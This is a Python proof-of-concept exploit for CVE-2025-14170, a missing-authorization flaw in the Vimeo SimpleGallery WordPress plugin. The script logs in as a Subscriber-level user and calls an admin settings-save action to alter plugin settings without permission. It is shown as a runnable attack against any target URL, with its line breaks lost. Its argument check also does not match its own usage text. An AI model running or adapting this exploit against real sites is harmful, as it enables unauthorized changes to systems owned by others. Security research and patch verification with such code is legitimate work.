CVE-2025-14170

import requests import sys # CVE-2025-14170 PoC # Vimeo SimpleGallery WordPress Plugin - Missing Authorization # Affected: <= 0.2 def exploit_cve_2025_14170(target_url, username, password): """ Exploit for Missing Authorization vulnerability in Vimeo SimpleGallery plugin. This PoC demonstrates how an authenticated user with Subscriber role can modify arbitrary plugin settings without proper authorization. """ session = requests.Session() # Step 1: Login as Subscriber user login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful as Subscriber") # Step 2: Modify plugin settings via action parameter (No authorization check) admin_url = f"{target_url}/wp-admin/admin.php" exploit_data = { 'page': 'vimeo-simple-gallery', 'action': 'vimeogallery_save_settings', # Arbitrary action 'setting_key': 'vimeo_gallery_cache_time', 'setting_value': '9999999' } response = session.get(admin_url, params=exploit_data) if response.status_code == 200: print("[+] Settings modified successfully - Authorization bypass confirmed") print("[*] Attacker can now modify arbitrary plugin settings") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com subscriber password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_14170(target, user, pwd)

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